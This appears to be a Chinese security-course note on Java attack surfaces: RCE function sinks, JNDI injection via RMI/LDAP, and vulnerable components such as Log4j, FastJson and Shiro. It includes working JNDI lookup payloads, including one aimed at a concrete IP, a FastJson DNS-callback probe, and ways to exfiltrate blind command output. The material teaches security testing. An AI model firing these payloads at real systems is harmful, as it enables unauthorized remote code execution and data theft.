WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网
笔记:

在代码审计中如果发现以上的函数就可以尝试有没有 RCE 代码执行漏洞
需要记住这些函数就可以进行利用

黑盒·测试主要关注地址名还有参数值(是否含有传参性质的代码)
-Shiro:
Java安全框架,能够用于身份验证、授权、加密和会话管理。
历史漏洞:https://avd.aliyun.com/search?q=Shiro
关键点:看登录数据包中有无 rememberme 如果有直接用反序列化工具进行利用
如何判断是 fastjson ,Jackson 还是 shiro 区别是强特征还有弱特征(rememberme)
fastjson 不出网怎么办
Xstream 反序列化漏洞:通过构造 xml 反序列化链来造成 RCE 漏洞

黑盒测试:先确定是不是 java 环境的再看是否接受 xml 数据之后就可以测了
Log4j 注入特指 2021 年曝光的 Log4j2 组件高危远程代码执行漏洞(CVE-2021-44228),其核心攻击机理是通过恶意构造的 JNDI(Java 命名与目录接口)协议指令实现非授权代码加载。该漏洞源于 Log4j2 在日志记录过程中对未经验证的用户输入执行动态解析,当攻击者在可被日志记录的数据中植入如${jndi:ldap://attacker.com/Exploit}的特殊结构时,组件会主动向指定地址发起 JNDI 查询请求。
在技术实现层面,攻击者架设的恶意 LDAP/RMI 服务器会响应包含远程类加载指令的 Reference 对象,触发受害者系统从攻击者控制的地址下载并实例化恶意 Java 类。此过程利用了 Java 默认的类加载机制,在未启用安全管理策略的环境下,可直接执行系统命令、启动反向 Shell 等高风险操作。值得注意的是,该漏洞影响范围覆盖 Log4j2 2.0-beta9 至 2.14.1 版本,且无需特定交互即可通过网络请求触发,因此被评定为 CVSS 10.0 最高危级别漏洞。
实战经验:黑盒测试先测 DNS 判断带外查询看是否能出网


演示案例:
➢ Java安全-RCE执行-5大类函数调用
➢ Java安全-JNDI注入-RMI&LDAP&高版本
➢ Java安全-不安全组件-JSON&XML&验证&日志
#Java安全-RCE执行-5大类函数调用
-Groovy
-RuntimeExec
-ProcessImpl
-ProcessBuilder
-ScriptEngineManager
检测:(大部分白盒)
黑盒看参数名和参数值
白盒看类函数名和可控变量
#Java安全-JNDI注入-RMI&LDAP&版本
什么是jndi注入
为什么有jndi注入
JDNI注入安全问题(RCE)
JDNI注入利用条件(看上图)
参考:https://blog.csdn.net/dupei/article/details/120534024
#JNDI注入-RMI&LDAP服务&高版本
资料:https://docs.qq.com/doc/DQ3JySmFPZXJkUVBL
第37天:安全开发-JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口)
,是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、
对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
常常使用的两个组件jndi就是一个功能模块是实现漏洞的渠道
而不是本身有漏洞经常在白盒分析中挖到该漏洞
调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP服务中调用了InitialContext.lookup()的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
检测:
无黑盒思路
白盒看类函数名和可控变量
#Java安全-不安全组件-JSON&XML&验证&日志
-Log4j:
Apache的一个开源项目,是一个基于Java的日志记录框架。
历史漏洞:https://avd.aliyun.com/search?q=Log4j
-Shiro:
Java安全框架,能够用于身份验证、授权、加密和会话管理。
历史漏洞:https://avd.aliyun.com/search?q=Shiro
-Jackson:
当下流行的json解释器,主要负责处理Json的序列化和反序列化。
历史漏洞:https://avd.aliyun.com/search?q=Jackson
-XStream:
开源Java类库,能将对象序列化成XML或XML反序列化为对象
历史漏洞:https://avd.aliyun.com/search?q=XStream
-FastJson:
阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
历史漏洞:https://avd.aliyun.com/search?q=fastjson
-黑盒测试不安全组件漏洞:
见后续章节漏洞复现利用课程
-白盒审计不安全组件漏洞:
FastJson审计
1、看引用组件版本及实现
JSON.parse() JSON.parseObject()
2、找可控变量及访问实现
admin/product propertyJson
3、测试出网回显调用访问
{"@type":"java.net.Inet4Address","val":"atcuqbczqs.dnstunnel.run"}
Log4j审计
1、看引用组件版本及实现
logger.info logger.error
2、找可控变量及访问实现
admin/uploadAdminHeadImage originalFileName
3、测试出网回显调用访问
${jndi:ldap://jebqzwhwtn.dnstunnel.run}
${jndi:rmi://47.94.236.117:1099/l6v1wz}
不回显常见判断通用方法:
1、直接将执行结果写入到静态资源文件里,如html、js等,然后访问。
2、通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。
3、接将命令执行结果回显到请求Poc的HTTP响应中。
不回显常见判断细节方法:
例:https://mp.weixin.qq.com/s/qhLhgbNwocC07AN48eQ0sw

浙公网安备 33010602011771号